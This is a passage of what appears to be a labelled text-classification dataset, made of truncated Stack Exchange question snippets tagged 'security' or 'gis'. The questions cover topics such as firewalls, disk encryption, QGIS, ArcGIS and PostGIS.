questions-- Is there a useful and clear distinction here or no? If so, what is ... ",['security'] "Title: Firewall says that a program that I'm developing is trying to connect to the Internet Body: I'm seriously confused about this, since the program is entirely developed by myself and has no means/functionality to connect to any network/the internet whatsoever. I'm a software engineer but not ... ",['security'] "Title: WebProxy configuration … Which threat could apply? Body: I need some help to identify possible (and rational) threats that could apply to that part of IT infrastructure (WebProxy). I have a webproxy for my users, which behave like a classic webproxy and ... ",['security'] "Title: loop-aes or dm-crypt for linux hard encryption? Body: loop-aes and dm-crypt are both used by partman-crypto for linux hard encryption, but dm-crypt needs no patch to kernel and is more supported. dm-crypt keeps it's key on first hard block, is it a ... ",['security'] "Title: System for Mutual authenticaion and confidentiality Body: I am looking for a protocol where there needs to be mutual authentication between client and server. For example server should connect to a particular client only. That is client should authenticate ... ",['security'] "Title: What is the practical difference between MAC and Capabilities Body: Both Mandatory Access Controls and Capabilities allow for fine grained privileges to be assigned to applications irrespective or in place of privileges inherited by the running user. Is there any ... ",['security'] "Title: can I identify the origin computer for a program? Body: I am Developing a program in several platforms and languages, But I don't want anybody to discover the origin computer where the program was developed, is there any way that someone (especially the ... ",['security'] "Title: How do I ensure data encryption on Samba transmission on *NIX systems? Body: I have a heterogeneous system (both MS and *nix) that communicates with CIFS/SMB. How can I ensure proper data encryption at the application layer? ",['security'] "Title: What is a reasonable approach for deidentifying data? Body: I have been asked by a client to deidentify the PHI data in their database and I'm either over-simplifying the process or my client is overly paranoid. Perhaps you can tell me which is the case. ... ",['security'] "Title: Purpose of certificates signed and trusted by CA Body: Another newbie question but I just don't get the purpose of certificates signed and trusted by CA. We already have public/private keys, hash functions to sign/encrypt messages so why do we need ... ",['security'] "Title: Projecting a Raster from WGS84 to planar Equal Area to Calculate Area: How to Select the Cell Size? Body: There are several posts related to this topic on the ArcGIS forums, as well as here. However, I can still not wrap my head around this: I want to project a land cover raster provided in GCS WGS84 to ... ",['gis'] "Title: Quantum GIS generating dbf files Body: I need to output shape files for archiving, which requires generating .shp, .shx and .dbf files. When I save a layer as a shape file it generates the first two, but not the dbf. All the help I can ... ",['gis'] "Title: How can i login in Geoserver from application? Body: I'm looking for advice how to login on Geoserver from php. I found much tutorial how to work with Geoserver through REST api and cURL: create workspaces, stores, etc. But still cant find how to login ... ",['gis'] "Title: v.clean error in QGIS Body: I am using QGIS 1.9.0.In Sextante Toolbox I used a specific option called v.clean which shows me the following error : Oooops! SEXTANTE could not open the following output layers Cleaned ... ",['gis'] "Title: Difference between ArcObjects SDK for Java and ArcGIS Runtime SDK for Java and ArcGIS Engine Body: What is the difference between ArcObjects SDK for Java and ArcGIS Runtime SDK for Java and ArcGIS Engine. I have ArcGIS Desktop 10.1 on my laptop. What do I need to create ArcGIS desktop applications ... ",['gis'] "Title: touchmove(dragpan) very jerky when compared to pinchmove Edit Body: I have a map with vector layers and many features. On an IPAD when I touch move(drag pan), the map is very jerky and stuttering. If I do the same with a pinch (i.e pan using two fingers), it is very ... ",['gis'] "Title: connection to postgresql; From ArcGIS for Desktop 10.1 OR ArcGIS for Server 10.1 Body: As it is mentioned in ArcGIS Resources ""PostgreSQL client libraries are required on the ArcGIS client application from which you will connect to the database"". My questions are: by ArcGIS client ... ",['gis'] "Title: work-flow solution to manage internal and external requests for spatial data [on hold] Body: I have been asked advise for a good solution to answer this question. It's quite the generic question, but that's an opportunity to make the most of it from this community. The question being ... ",['gis'] "Title: How to use map composer in a stand-alone script? Body: I'm trying to follow the map rendering section from the pyqgis cookbook, but I'd like to test this as a standalone application. I can do the first part, using simple rendering, but I'm a bit stuck ... ",['gis'] "Title: ARCGIS - Full Extent is very wide [duplicate] Body: I have a map of the UK. I initially made an error when importing data and mixed up the x&y coords when adding it. This has now been corrected and the file removed. However, when I right-click full ... ",['gis'] "Title: ESRI Versioning: A table doesn't match base table schema Body: ArcGIS 10.1 sp1 with Oracle 11g I've got a versioned feature class that I have discovered has a base table with a different schema than the corresponding A table. (A + registration_id from ... ",['gis'] "Title: How to create a raster from scratch Body: I realize this isn't a geographic question as I'm not trying to make this into a geographically placed image. But I hope you all will know how to do this. I want to make a raster from scratch. I ... ",['gis'] "Title: google maps tiling scheme index grid Body: I have a need to cut tiles from a raster with bounds that result in no partially filled tiles at a particular zoom level (no transparency or black/white areas). First thought was to overlay an index ... ",['gis'] "Title: Sum vector data correlating with a second vector layer [duplicate] Body: There are a lot of questions very similar to mine, but I couldn't find one that accurately described what I want to do. I am working in QGIS. I have one vector layer which, among other attributes, ... ",['gis'] "Title: Landsat in ArcGIS Body: I need to learn how to download, import and compose Landsat 8 in ArcGIS for natural colors (preferably in a GEOTIFF format). I have tried on my own but it seems that I am doing something wrong... can ... ",['gis'] "Title: How to fix “Connection failed - Check settings and try again” when connecting to PostGIS? Body: I have Postgres running via Postgres.app on rails already and am trying to connect QGis to the database. PostGIS is working already. (questions already found online deal with this issue only) I do ... ",['gis'] "Title: Where can I find the data that QGIS used to custom its menus as well as it's toolbars? Body: I have noted that QGIS uses some data to restore its menuitems as well as its toolbar items everytime when it is started.And I have being trying to hunt them out in my hard disks but sadly ... ",['gis'] "Title: ArcReader 10.1 trouble (loading and printing is taking very long ime) Body: We've run into printing problems in ArcReader 10.1. Our trouble is with a particular floodplain feature class located in an SDE database. It simply takes forever to load! Then, when printing, it takes ... ",['gis'] "Title: How to perform Intersection using ModelBuilder iteration? Body: I would like to take the intersection of two areas (one randomly generated), and do this n times. I can do it and get one result, but I can't save all the intersection areas to a file at the end. ... ",['gis'] "Title: How to upgrade PostGIS 2.0 to 2.1 on Windows 7? Body: PostGIS 2.1 was recently released and I would really like to upgrade from 2.0, but can't quite figure it out. I had previously installed PostgreSQL 9.2 and PostGIS 2.0 using StackBuilder. Running ... ",['gis'] "Title: Quantum Gis Lisboa 1.8 [on hold] Body: I'm using version 1.8 lisbon, when I add a layer delimited text fails and I do not know why, in what way I can help?. I remain attentive to your suggestions ",['gis'] "Title: Breaking a range of values into buckets for a gradient Body: If I have a range of values and want to make a choropleth map with a gradient, what algorithms are out there to determine the value ranges for the different colors in the gradient? For example, if I ... ",['gis'] "Title: Issue with `-sds` naming convention in gdal_translate Body: I'm converting ~100 .hdf files to .tiff using gdal and getting some unfortunate naming conventions when using -sds for %A in (""...\*.hdf"") do gdal_translate -of GTiff -sds ""%A"" ""%A.tiff"" However, it ... ",['gis'] "Title: How do I redefine the projection of a DEM? Body: I have a DEM that was exported from AutoCAD civil 3D 2013 but it's in the wrong projection. I'm using an area specific projection that was not provided as an option in CAD DEM export dialog box. I ... ",['gis'] "Title: Three table postgres sql join query Body: I'm having trouble getting my SQL query to work with three tables. I'm new to SQL to I've already spent considerable time trying to understand the documentation and making some sense of it. I'm using ... ",['gis'] "Title: What's the best way to add Tilemaps to QGIS without having to use Webmercator? Body: I'm looking for a good way to add tilemaps in qgis that are either in a custom projection or that I can reproject in qgis. I have used the openlayers plugin to add basemap layers, but it forces me to ... ",['gis'] "Title: How can I maintain MapInfo GRC file attributes in QGIS/GDAL? Body: I am trying to manage a classified MapInfo grid file in QGIS - I'm wondering if anyone has any experience with maintaining the attributes of the classified grid? QGIS seems to assign them just a ... ",['gis'] "Title: How to identify overlapping corners in PLSS sections Body: Sometimes PLSS section corners do not align How could I automate the detection of these corners and generate a new shapefile showing where this occurs? I have a shapefile of 147k section polygons ... ",['gis'] "Title: Why references for ArcGis Server are inaccessible in .net project? Body: I have written a desktop application on c# .Net This application based on Arcobjects. This application used Desktop (Core, ArcCatalog, ArcMap) and Engine (Core) references. But Server references ... ",['gis'] "Title: Openlayers panel control editing after initialization Body: How do I reference controls that have already been added to a panel. I am attempting to destroy or modify the default controls associated with the editingToolbar. These changes would be done outside ... ",['gis'] "Title: Is it possible to embed QGIS layer styles in a Spatialite database? Body: Spatialite is a great alternative to shapefiles - but how could I store the QGIS layer style together with the data so that it has a default style? For a shapefile I would just save a [name].qml with ... ",['gis'] "Title: Longitudinal extent of Asia Body: I have come across in my textbook ,that the longitudinal extent of Asia is about 25 degree East to 170 degree West. However , looking at the map of Asia , I think that it should be 170 degree West . I ... ",['gis'] "Title: Use ArcPy to identify annotation reference scale? Body: I would like to retrieve the value of an annotation feature class reference scale using ArcPy (under ArcGIS 10.1). I cannot find where this property is stored (tried to access using the describe ... ",['gis'] "Title: What is the difference between arcpy and python scripts? [on hold] Body: I'd like to call arcpy script from Windows Service. Here (Calling arcpy/python from .NET?) I read that I can load python script. What do I need to load arcpy script? ",['gis'] "Title: Apply WHERE clause to relationship class Body: I'm trying to query objects related to objects and satisfying some query in ArcObjects. IRelationshipClass interface contains methods for getting all related objects but how can one filter them? I ... ",['gis'] "Title: Can't register StyleGallery.dll (Arcgis) when install my program (using Visual Stdudio,C#) Body: In my program, I used the IStyleGallery (need using ESRI.ArcGIS.Framework). When I install and run my program. I got the error: ""Retrieving the COM class factory...."". And, I discovered the reason ... ",['gis'] "Title: North aspect raster with QGIS Raster Calculator Body: I have QGis1.8.0-Lisboa and the Raster Terrain Analysis Plugin on Mac/OS. When I want to build a raster layer of an aspect group with the Raster Calculator (e.g.: ""aspect@1>=45 AND aspect@1<135"" ... ",['gis'] "Title: Field Value Mapping QGIS Body: I am wondering if there is a way to do field value maps that are filtered based on another attribute field? I know how to associate value maps, but not that are connected to another field. I have ... ",['gis'] "Title: Is it possible to rotate the entire layout view, not just the data frame? Body: I have a project that requires the use of a CAD-like map template that is Landscape orientation, but with the title block along the right edge, with all the text in it rotated 90 degrees. Something ... ",['gis'] "Title: How to select among overlapping linear features by create date? Body: I have a table which has overlapping linear data; for example: A----------C and B---------C. Of these two records I would only like to return the record with the latest create date; in other ... ",['gis'] "Title: Generate random location within specified distance of a given point Body: In a simulation (not using any GIS), I need to generate a random location that is within a specified distance of a given location. I found a very helpful post here on this exact topic: How to ... ",['gis'] "Title: reclassify vector data from multiple source data fields (ArcGIS) (ModelBuilder) Body: I am using ArcGIS 10.1 and ModelBuilder. I am not familiar with Python. My question is very similar to ReClassify Vector Data Between Values . However that question is about reclassification using ... ",['gis'] "Title: Labeling contour lines in ArcMap [duplicate] Body: Can anybody give me advice on how to label contours as shown in Figure 2 below? I would like to be able to put the label ""on"" the line, which is easy enough. But I'd also like for the contour line to ... ",['gis'] "Title: Reclassifying inside a mask, leaving values outside as they are Body: I am in the final stages of a landcover classification and need to reclassify thematic raster values that are inside different polygon masks, while leaving the values outside as they are. Can I do ... ",['gis'] "Title: georectification via SLD is not appearing at the correct place Body: I am trying to georectify layers on the fly (feeded by Geoserver) in OpenLayers. To do so, we have created a style (SLD) in Geoserver that does the georectification provided that we feed it a ... ",['gis'] "Title: How to write a QGIS Action which opens a PDF from a server? Body: I need to open a PDF from an action in QGis. The PDF rests on a server, not local. So far I tried this (as Python): from PyQt4.QtCore import QUrl; from PyQt4.QtWebKit import QWebView; myWV = ... ",['gis'] "Title: How to run an Identify task on a WMS layer Body: I'm new to WMS layers, and am looking for a way to retrieve a layer's attributes when clicking on the map, using the ArcGIS Server JS API. The documentation is a bit sparse, but from this question it ... ",['gis'] "Title: What units are my coordinates in? Body: I opened a georeferenced NAIP photo to a new project in QGIS. The coordinates were expressed as: 2199240.6, 616858.7. The same point in Google Earth was expressed in degrees, minutes, seconds, as ... ",['gis'] "Title: How can I create a simple basemap in QGIS that will allow me to trace a polygon with an accurate projection? Body: I need to find an aerial photograph, create a new vector layer, trace several fields in this aerial photograph, and find random coordinates within these polygons. I first tried this with the Google ... ",['gis'] "Title: Geoprocessing in 3D Body: I am looking for some advice regarding suitable software for geoprocessing in three dimensions. Specifically, I need to regularly undertake the following tasks: Intersect a line with a surface and ... ",['gis'] "Title: reference path to file that is in edit session Body: I am creating a Python addin button and I would like to reference the path to the layer that is currently in an edit session to the code in the addin button. This way users will be able to use the ... ",['gis'] "Title: Multi-part kmz does not retain symbology on ipad Body: I have a large polygon kmz that used to show up correctly in the google earth ipad app. It should show white polygons with no fill. Clicking on a polygon gives a pop up balloon with more information ... ",['gis'] "Title: Loading Vector Layer PyQGIS Issues Body: I am trying to follow PYQGIS documentation for loading a shapefile from inside a script. http://www.qgis.org/pyqgis-cookbook/intro.html I was able to set the datasource and run the QgsVectorLayer ... ",['gis'] "Title: Using PostgreSQL with ArcGIS Body: Have mercy ... with Stackexcachange I'm not yet so familiar, so this is initially somewhat opaque. I try to do my best to organize this thread as well as possible. Recently I've started to get WFS ... ",['gis'] "Title: ArcGIS 10.1 - Re-writing an add-in application from processing an SDE Geodatabase to processing a file Geodatabase Body: ArcGIS 10.1- I am planing to re-write an Add-in application targeting SDE Geodatabase(ArcObjects) to an add-in application targeting file Geodatabase. The Add-in application is a Tool that allow the ... ",['gis'] "Title: QGIS does not read ESRI Geodatabase correctly Body: I have a geodatabase from the EPA that does not seem to me reading correctly with Quantum GIS. When I open the attribute table the first two columns have the same data. The first column is CERCLA_ID ... ",['gis'] "Title: Cannot add ArcGIS service from a Linux based server in ArcMap (admin) Body: I have installed ArcGIS Server 10.2 on Ubuntu 13.04 (with few tricks which I would be happy to share) and got the server up and running to the extent that I can manage the server through the ... ",['gis'] "Title: HTML Popup Database Actions Body: I'm working on a collection of points on the map, each comes with a bunch of properties. I succeeded using a customized XSL template to show the information when I click on any point. And now what I ... ",['gis'] "Title: Loading a layer into the same position as an existing layer in QGIS Body: I understand that it is not possible to directly reload a shapefile layer in QGIS using the reload method in Python, since this method is not implemented for shapefile data providers. Thus, the ... ",['gis'] "Title: Converting WMS getmap request to Geotiff Body: I'm accessing a WMS server that doesn't provide geotiff as one of the format capabilities, but does provide PNG and KMZ. ... ",['gis'] "Title: Sources for German Standardized Symbols in QGIS Body: German Original: Gibt es für QGIS eine Phytonerweiterung ""Planzeichenverordnung""? Zur Bearbeitung von Flächennutzungsplänen und Bebauungsplänen kommt man an den Planzeichen nicht herum. ... ",['gis'] "Title: pgRouting TSP: is it possible to apply to the roads network? Body: I want to solve a TSP problem on a set of points from a road network (given N points, find the shortest possible route to visit them all). It seems that pgrouting pgr_tsp function doesn't take into ... ",['gis'] "Title: Is there a Raster Equivalent of the Split tool? Body: I have the DEM of a State in ERDAS Imagine (.img) format. I have a shapefile containing the counties of that state. I want to split the whole raster into DEMs of the individual counties. The counties ... ",['gis'] "Title: Gdal: How iterate through all pixels of a raster image? Body: Given a topographic raster image. How to iterate through all pixels of this raster image ? Solution preferably with gdal, in console. Some other libraries/script could be installed. Related: ... ",['gis'] "Title: Leaflet: Container coordinates vs Layer coordinates? Body: What is the difference between map container coordinates and layer coordinates? From what I gathered, the map container coordinates are always relative to the map viewport, and while layer ... ",['gis'] "Title: Problems loading PyQGIS Español [duplicate] Body: No se pudo cargar PyQGIS. El soporte para Python estará deshabilitado. Traceback (most recent call last): File """", line 1, in RuntimeError: the sip module implements API v9.0 to v9.2 but the ... ",['gis'] "Title: Invoke FME batch process/Process using c# Body: I want to invoke FME batch process and general FME processes using c#, I have no idea about FME, can anyone please let me know if anything like this is possible?or is it possible in python, any help ... ",['gis'] "Title: Where can I get high-resolution (at least 1 foot) imagery of California? Body: Is there a national site or state site that will allow me to download High Res (1') aerial imagery of California? I have tried Cal-Atlas Download but they are at one meter. I have also tried USGS ... ",['gis'] "Title: Route imported from KML into Google Maps does not display correctly Body: I made this map in Google Earth of a trip I recently did in the UAE. I did this by importing the kml I'd saved from GE into Google Maps. Annoyingly, it is only displaying part of the route. If you ... ",['gis'] "Title: Unable to load GRASS plugin Body: I upgraded from QGIS 1.7.0 to 1.8.0, including updating GRASS to version 6.4.3. Since then, GRASS isn't any longer listed in the Fetch Python plugins. I uninstalled and re-installed the whole package ... ",['gis'] "Title: Date Time format in ArcGIS 10.1 Body: I have a Date column in my feature class and I want the date to appear in ""dd MMM yyyy"" format as a label to a polygon. I am using Arc Map 10.1. I tried taking Jscript. var Dt = new Date(); Dt = ... ",['gis'] "Title: Definition and content for the concept Coordinate Reference Systems [duplicate] Body: I tried googling around to understand deeply in the concept Coordinate Reference Systems but it didn't explain enough and clearly. My question is what is ""Coordinate Reference Systems""? The ... ",['gis'] "Title: Gdal_polygonize: How to filter pixels above a given value (elevation)? Body: Given a topographic GIS raster of one country: Given an elevation threshold n = 50 (meters) How to polygonize pixels when z >= n ? gdal_polygonize.py is not clear on this point. It states This ... ",['gis'] "Title: how to select parts of a shape in QGIS Body: I have to have a Shapefile of France of the bigger regions: Ile-de-France, Bretagne, etc. and that is already included in my shape. But its only shown the Arrondissements (smaller regions) in France ... ",['gis'] "Title: Recommendation for opensource car navigation software Body: I'm looking for an open source project about car navigation which works with the aid of a gyroscope or accelerometer, but failed to find it in current popular websites i.g. github. Anyway, some ... ",['gis'] "Title: How accurate is the google maps latitude and longitude I am using? Body: I am making a program that uses GPS location preferably from smart phone, laptop works too and compares it to a building, the points you in its general direction. I am making this web application ... ",['gis'] "Title: What queries can I use to select data? Body: Which queries can I use to select the following information: How many towns are within a distance of 3km of both a road and a railway and are within 6km of the coast? And any towns that have both a ... ",['gis'] "Title: Roadmap to creating a GIS? Body: Got asked that today in a job interview, I replied with the usual : Gather Data : what data do we want, do we possess it ? If not how to do we acquire it, etc. Database : after we have successfully ... ",['gis'] "Title: How can I use a tif and a SID to make a basemap in QGIS? Body: I am trying to add a basemap in QGIS, projected correctly for PA. I have been directed to PASDA. When I click on the FTP download link, it gives me the option to download TIF data or SID data. What ... ",['gis'] "Title: Customise the splash image of QGIS Body: Where can I find the splash image which is shown while starting QGIS, and how to customise it? ",['gis'] "Title: Precision vs Resolution in elevation data Body: Update: A good example of my confusion: on the Wikipedia page for ""digital terrain model"" one can find the following statement about a satellite in the ""See Also"" section: TanDEM-X: generation of ... ",['gis'] "Title: Leaflet export to jpg Body: Does anybody know if there is a way to export the current view of a Leaflet map to jpg? The setup is as follows: Leaflet is hooked up to an Oracle database. Depending on user interaction, various ... ",['gis'] "Title: Gaps when extending lines Body: When I use the extend tool, the lines don't meet (leaving a very small gap - less than 0.0001 - which doesn't allow the network analysis to work properly). I'm assuming this has to do with the fact ... ",['gis'] "Title: QGIS: Colour GPS track by speed Body: sorry íf I might ask this question the 101 time, but I didn't found anything with google or SE. I have a CSV file with WGS84 trackpoints and visualizing them with QGIS textplugin works fine. The log ... ",['gis'] "Title: Conditional Labeling based on attributes in ArcGIS 10 Body: I am trying to label a street centerline layer with a condition based on street width. I am using the Python parser and I can't figure out this simple logic. Neither of these questions address how ... ",['gis'] "Title: Leaflet: Add/Remove Legend with Layers Control Body: I have two overlays http://02d0c8c.netsolhost.com/dev/lcb_census_layers3.html that can be turned on and off with a Layer Control. I’d like the legend for each layer to turn on/off along with the ... ",['gis'] "Title: ArcGIS constantly shut down by itself Body: I am trying to open Census tract data, downloaded from http://www.census.gov/geo/maps-data/data/tiger-data.html Every time, I open the file in ArcGIS, the software will return an ""serious application ... ",['gis'] "Title: How to render a transparent raster layer on top of one or more vector layers with PyQgis? Body: I been trying to render a map with a 3 vector layers and one raster layer. The idea is that the raster layer should be on top of the other 3 vector layers. The problem is that even when I add the ... ",['gis'] "Title: Features missing in Raster menu in QGIS for linux Body: I am running QGIS 1.8 in Ubuntu/Linux (13.04), with GDAL 1.10 installed. There seem to be features missing from GDAL tools that are present in Windows version. For example, I can't find Rasterize or ... ",['gis'] "Title: Changing the CRS of a shapefile Body: Im trying to convert shapefile from one CRS to another in QGIS. On the layer menu, I right click on the shapefile, save it as with other name and there I change the CRS to the desired one (WGS 84). ... ",['gis'] "Title: ArcSDE 10.2: How to enable and create Geodatabase in Oracle without ArcGIS Desktop Body: Since there is no Post Installation Wizard anymore in ArcSDE 10.2 - how can i enable und create a geodatabase in oracle without ArcGIS Desktop? We have only an EDN description for ArcGIS Server/SDE, ... ",['gis'] "Title: Formatting OSM Data For Use in ESRI Address Locator Body: I've been given the task of researching the possibility of setting up an ArcGIS Geocoding Service that can work with OSM data. I am aware of Nominatim, but since these service(s) will be running on ... ",['gis'] "Title: Updating a Field in the Current Selection Body: I have some address points selected for which that I want to update the address field based upon the row in the selection. How do I figure out the name of the selection taable to pass to ... ",['gis'] "Title: How to use OpenLayers OSM-Layer with degrees instead of meters? Body: I have an OSM-Layer as a base layer. When I create a vector I have to define the coordinates in meter. Is there a way to use degrees right a way without reprojecting them beforehand to meters? var p0 ... ",['gis'] "Title: How can I accurately measure area of polygons using field calculator in qgis? Body: I have several polygon shapefiles, both set to WGS84 CRS. I have been using the google basemap with the Openlayers plugin, using the mercator CRS. On the fly CRS transformation is enabled. Should ... ",['gis'] "Title: Unselect Graphic in Codebehind with ESRI Editor WPF [closed] Body: I am developing an Application using WPF. My Requirements are: 1) Select Graphics on Map via Editor --> works fine 2) Show these selected Graphics (Attributes) in a seperate Window (DatGrid, ... ",['gis'] "Title: How to clear raster bands in RasterDataset? [duplicate] Body: I use the raster dataset in sde base. I want ro remove all data from this raster dataset. Then I want to add there other rasters datasets. The main problem is how to clear original raster ... ",['gis'] "Title: Writing shapefile metadata with geotools Body: Using GeoTools, I'm able to write features to a shapefile by essentially passing a SimpleFeatureCollection to a ShapefileDataStore. The feature collection provides both a schema and features including ... ",['gis'] "Title: Drawing Curves/Bezier Lines with ESRI WPF Runtime Body: I'm looking for some pointers on how to draw a curved line or bezier line in WPF runtime. The WPF runtime sample application has a drawing mode for straight line, polyline, and freehand. However, no ... ",['gis'] "Title: How do I merge two networks if they don't share nodes? Body: I have a street network and a subway network and I want to create a multi-modal network to analyze for Service Areas. The problem is that the two networks do not share nodes, and if a point is on one ... ",['gis'] "Title: Mapping point data according to it respective value Body: The project I am trying to do is to map sum water quality (based on trace metals) data into QGIS. Each of the trace metals have their respective values and need to represent their concentration ... ",['gis'] "Title: EXCEPTION - bad allocation-printing Body: I have a street map, from Durango, Mexico. And I want to print it. But Qgis show the next error "" EXCEPTION bad allocation"". I´m going to print it in 1.50 x 1.06 mts sheet. What can I do? Greetings ... ",['gis'] "Title: Divide map into features with invisible divisor lines Body: I'm working with QGIS 1.8.0. Is there a way to divide a map with a grid but make the divisor lines invisible? I have a shapefile as the one in the left and I want it to see as the one in the right but ... ",['gis'] "Title: Conversion of coordinates of “Bochum coordinate system” Body: I need to convert historic coordinate data into more recent Gauß-Krueger data. Specifically, I need to convert ""Bochum coordinates"" used till 1960 in the local coal mines into DHDN/Gauß-Krüger zone 2 ... ",['gis'] "Title: OpenGeoSuite GeoExplorer, GXP not showing all points Body: I have a simple layer linked to a PostGIS however for some reason not all my sites are drawn on the map, I have deleted the cached version of the layer, to force it to render the layer each time from ... ",['gis'] "Title: is there any way to run a GIS (Esri, Qgis or mapinfo) on a Windows8 RT tablet? Body: I am looking for a good idea to run a GIS program on a Dell XPS 10 with the Wind.8 RT.Thanks for any ",['gis'] "Title: SDK GXP Legend OpenGeo Suite Scroll? Body: Is it possible to have the legend scroll using the OpenGeo Suite SDK and GXP. Following this tutorial Tutorial LinkIt is possible to have it any size if external as the height and width can be changed ... ",['gis'] "Title: Best method to select features in one fc and project to different coordinate systems? Body: I've got data from all over Europe in one feature class projected in Web Mercator Auxiliary Sphere. Due to the fact, that length and area values are not usable I'm now working on a python script ... ",['gis'] "Title: Counting and sum by two layers Body: I´ve got to layers, both polygons. Layer 1 consists of propertiers, where ID is individually names. Layer 2 consists of lakes. The query I want is: Total count of squaremeters of lakes for each ... ",['gis'] "Title: Clear RasterDataset Body: Is there a way to clear a raster dataset in sde database using arcobjects? Now I can do: 1) delete raster dataset 2) create new raster dataset This way is bad. UPD: Will rasterdataset be empty ... ",['gis'] "Title: GML Simple Feature compliance test Body: I'm in the process of defining a GML schema from a database schema, the idea is for it to be GML simple feature compliant. However I can't find a way to confirm this compliance other than reading the ... ",['gis'] "Title: Need iterator help in create near feature script Body: I'm having two specific problems with this python script I'm developing. Background: I am trying to generate near_tables from fc's stored in fgdb, join the near table back to target feats, and save ... ",['gis'] "Title: Using LANDFIRE data in QGIS Body: I am wanting to use the LANDFIRE rasters in QGIS, but I cannot get all the files to load. I load the w001001.adf file in the directory that contains the data, but I cannot access the attribute table, ... ",['gis'] "Title: OpenLayers zoom using smaller increments Body: Currently when the zoom control + and - are pressed, the map zooms a lot for each click. How to make the zoom increments smaller for each click. ",['gis'] "Title: Openlayers trigger checkbox click on layer switcher Body: I have a layerswitcher control that is sitting outside the Openlayers map (inside a separate div). When a checkbox is either ticked or unticked in the layer switcher for a vector layer I want to ... ",['gis'] "Title: Use arcpy.da.searchcursor to select rows to dissolve Body: I'm quite new to ArcGIS and hope someone can help me. I have one table that lists which polygons are contiguous with each other called BLPUsCavPlaceContigBLPUs that looks like this: OBJECTID ... ",['gis'] "Title: Bounding Box approximation when calculating in euclidic space? Body: Although I will illustrate my problem using a database, I think this is a quite general GIS question. I hope I came to the right place to ask. I am working with a system that runs on a normal ... ",['gis'] "Title: OpenGeo Suite Create map application GXP or GeoEXT Body: I have seen a similar question but it never got answered. I am looking to develop a GIS system using the OpenGeo Suite, luckly im going to a conference on it in a few weeks, however thats weeks away. ... ",['gis'] "Title: Import raster data from postgis and publish in geoserver Body: I am using geoserver 2.3.3, PostGIS 2.1 and PostgreSQl 9.1. The Image Mosaic JDBC extension is also installed correctly. I am trying to import raster data from PostGIS and publish in Geoserver but ... ",['gis'] "Title: how to identify EPSG of any shapefile [duplicate] Body: I have a shape file, imported in PostgreSQL using PostGIS when this shape-file is published in Geo-server it didn't show any layer. I had used EPSG:4326..thanks ",['gis'] "Title: Copying/Projecting featureclass into a database and featuredataset of the same name fails Body: I've written a script in Python for ArcGIS 10.1 in order to migrate from an outdated coordinate system to a newer one while at the same time updating from personal geodatabases (.mdb) to file ... ",['gis'] "Title: How is slope of a surface in an arbitrary direction produced? Body: I am currently developing a program that requires that I calculate the slope for each cell in a DEM. However when I try to understand the algorithm to be used I get stuck trying to understand exactly ... ",['gis'] "Title: Where is Google Maps extension for ArcGIS? Body: I need to import Google Maps into ArcGIS for Desktop and apparently I need to activate a Google Maps extension. I'm working on ArcGIS 10.0 and there are no such extension. Do I have to install a new ... ",['gis'] "Title: Can one expose variables to the Python console from a plugin in QGIS? Body: I have a QGIS plugin that performs a long-running operation, eventually producing and loading new shapefiles into QGIS. (I have this as a plugin rather than just a function that can be called from the ... ",['gis'] "Title: arcpy.ListFeatureClasses(wildcard, type, dataset) - Help with grabbing from 2 different feature datasets? [duplicate] Body: I'm trying to join multiple line fcs to their matching named point. (point and lines in same gdb, but separate feature datasets. stand alone python script/arcgis 10.1) My initial line of psuedocode ... ",['gis'] "Title: How to create a customizabe table in QGIS Print Composer? Body: I would like to add a custom table to a map layout created in QGIS. I would like a fair bit of control over the look of the table (borders, background colours of the cells, etc.), and it appears that ... ",['gis'] "Title: overlapping of polygons in google map Body: I am currently working in reverse geocoding process.I converted the address file given to me as a point shape file based on the lat-long values .When i plotted these points in open street map ... ",['gis'] "Title: openLayers.WPSClient Body: I have created a WPS service on geoserver builder. When I execute it on geoserver all is ok. So I have created an html page to show my layer but I have this error: org.geoserver.wps.WPSException: ... ",['gis'] "Title: Change ShowCoordinates format to WebMercator Body: I would like to extend ShowCoordinates behavior to show the coordinates in WebMercator format. http://resources.arcgis.com/en/help/silverlight-api/samples/start.htm#ShowCoordinatesBehavior I tried ... ",['gis'] "Title: FME Changedetector and Projected coodinate system problems Body: I was struggling with ChangeDetector and all the transformers that can detect geometry changes. For my project i have to extract geometry changes(Deleted, added and updated features) between two ... ",['gis'] "Title: GeoExt Feature Renderer Body: I am working with OpenLayers and GeoExt and I have the following problem: I have a point vector layer and I want to create a style that contains 2 symbolizers. In this example they show how this ... ",['gis'] "Title: select by location - merge polygon and point layer [QGis] Body: I have two layers. One point layer and a Polygon layer. It is simple to count the points in the polygon layer by the ""points in polygon"" function. But I also need some more information of the point ... ",['gis'] "Title: Can Arcmap 10 do change detection? Body: I have an assignment to find out changed areas of the two different maps (2000 and 2010) by using Arcmap 10. Is it possible to use it? ",['gis'] "Title: How to add layers to MXD programmatically on linux or windows without ArcGIS for Desktop? Body: Is it possible for me to programmatically create in linux centos 6.4 or a windows with only arcGIS Engine runtime (single use license without sdk)? ",['gis'] "Title: Borderlines of states subdividing my GRID Body: ![enter image description here][2]I just merged a map of a country with its states, so I went from having 1 feature (the whole country) to 32 features. Is there any way to have the borders of the ... ",['gis'] "Title: Loop though records in PostGIS (using PL/PYTHON or PGSQL) Body: I've seen many example of loops, but I can't get that one to work. I work for a regional transit agency and each year, we conduct several surveys. I geocode everything to the house level for internal ... ",['gis'] "Title: Making a KML layer “always on” Body: Is there a KML tag or specification by which you can force a given layer (specifically, a screen overlay) to be ""always on"", in that there is no way for the user viewing the file to make that layer ... ",['gis'] "Title: Strip html tags from ArcMap table Body: I am importing a KMZ we receive as output from an iOS app into ArcMap using the KML to layer tool. The resulting table includes a ""pop-up info"" column that contians cells with marked up tags like: ... ",['gis'] "Title: QGIS Zonal Statistics just gives 'NULL' Body: Seems like such a simple plugin, but it just won't work. I'm trying to run Zonal Statistics to find the mean value of a raster's pixels within the area of a vector polygon, but all it will give me is ... ",['gis'] "Title: Making development patterns more efficient with ZSH Body: A common pattern I find myself encountering is converting a CSV to a projected GeoJSON as described here. That entails 3 steps, and I'd like to get it down to the following: GEOIFY {file} ... ",['gis'] "Title: Convert ASCII Grid Colorized to Raster Body: I have an ASCII Grid file + .prj file and can visualize this in qGIS. I can colorize it by going to properties and using a Pseudocolor Ramp. However, I want to export this now as a TIFF / Raster. ... ",['gis'] "Title: Reshaping polygons while preserving area Body: I'm looking to manually skew the shapes of areal polygons, but need to ensure their areas are not altered. Is anyone aware of any GIS tools or programming workflows that exist for manually reshaping ... ",['gis'] "Title: Problem with pie-charts when exporting them to an image file Body: I have 3 vector layers: a map of Europe and N.Africa, a line layer, and a point layer (on the top). I have created pie-charts over the points in QGIS 1.7.3, and on QGIS 